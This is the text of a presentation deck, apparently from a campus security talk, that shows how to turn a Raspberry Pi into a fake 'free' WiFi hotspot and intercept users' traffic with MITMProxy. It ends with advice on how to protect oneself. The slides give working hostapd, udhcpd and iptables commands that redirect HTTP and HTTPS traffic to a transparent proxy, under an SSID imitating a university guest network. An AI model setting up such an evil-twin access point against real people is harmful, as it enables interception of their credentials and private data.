The “FREE” WiFi by Chandan
What happens? We: “Free Internet”... Yepyyy... Let’s connect to it . after few hours... Our Cell Phone: “Free Internet”... I know that network... Let’s connect to it Internet WiFi LAN Client RPi Router IPTables hostapd udhcpd MITMProxy
The Tools Hardware Raspberry Pi 2 (RPi) EDIMAX EW-7811Un (or any device with AP mode) How to check if the device supports AP mode? Image: wikimedia.org http://us.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/us/wireless_adapters_n150/ew-7811un/
The Tools Software Raspbian : the OS hostapd : the connection provider udhcpd : the address provider IPTables : the traffic controller MITMProxy : the MITM How to check if the device supports AP mode?
Setup the RPi Download and write the Raspbian into a SSD memory card Connect the Edimax USB WiFi dongle to the RPi Boot the RPi Logon to the RPi using SSH or any preferred method
Packet Forwarding & IPTables Enable packet forwarding Temporary echo “1” > /proc/sys/net/ipv4/ip_forward For permanent, edit /etc/sysctl.conf net.ipv4.ip_forward=1 Setup IPTables to forward traffic $ iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT $ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE $ iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT
Setup udhcpd Install udhcpd Update config file apt-get install udhcpd Update config file /etc/udhcpd.conf Enable udhcpd in defaults /etc/defaults/udhcpd Start the udhcpd service service udhcpd start What does a udhcpd.conf looks like?
Setup hostapd Install hostapd apt-get install hostapd Download the compatible hostapd for Edimax http://www.daveconroy.com/turn-your-raspberry-pi-into-a-wifi-hotspot-with-edimax-nano-usb-ew-7811un-rtl8188cus-chipset/ Alternatively, (if you are really feeling adventurous) download the source code and compile https://w1.fi/hostapd/
Configure hostapd Create /etc/hostapd/hostapd.conf Check configuration interface=wlan0 driver=rtl871xdrv ssid=KSU Guests channel=2 Check configuration hostapd --dd /etc/hostapd/hostapd.conf Start the hostapd service service hostapd start
See if you are able to connect to the “free” WiFi? does it actually works? See if you are able to connect to the “free” WiFi?
Time to bring out the evil stuff
MITMProxy Install MITMProxy Create firewall rule to forward traffic http://docs.mitmproxy.org/en/latest/mitmproxy.html Create firewall rule to forward traffic $ iptables -t nat -A PREROUTING –i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080 $ iptables -t nat -A PREROUTING –i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080 Start in Transparent mode $ mitmproxy -T --host
How Transparent Proxy works? Ref: http://docs.mitmproxy.org/en/latest/howmitmproxy.html
Sounds technical... but what all these things do?
Ohh god... the world is ending?
Preventions Do not connect to “free” wifi Use VPN, K-State gives you for free Always use HTTPS Browser extensions – HTTPS Everywhere Do NOT ignore browser warnings Do NOT access sensitive information Bank account SSN email
That’s all folks... thanks for being patient Questions? That’s all folks... thanks for being patient
References https://www.raspberrypi.org/documentation/installation/installing-images/ http://www.netfilter.org/documentation/ http://elinux.org/RPI-Wireless-Hotspot http://docs.mitmproxy.org/en/latest/introduction.html